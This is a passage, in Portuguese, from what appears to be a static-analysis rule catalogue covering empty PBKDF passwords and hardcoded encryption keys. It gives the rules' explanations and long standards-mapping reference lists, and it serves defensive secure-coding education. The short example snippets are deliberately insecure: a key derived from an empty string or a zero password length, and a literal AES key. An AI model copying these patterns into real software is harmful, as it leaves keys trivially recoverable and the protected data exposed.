[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.

Exemplo 2: Algumas APIs de nível inferior podem exigir que se passe do tamanho de certos argumentos, bem como dos valores dos argumentos, de tal forma que uma função possa ler o valor do argumento como um número de bytes consecutivos começando no local do argumento na memória. O código a seguir transmite zero como o argumento de tamanho da senha a uma PBKDF criptográfica:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


Nesse cenário, mesmo que a password contenha um valor de senha forte e gerenciado de maneira adequada, passar o tamanho como zero resultará em um valor vazio, null, ou em um valor de senha inesperadamente fraco.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_pbe_password
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
encryptionKey = "lakdsljkalkjlksdfkl".
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
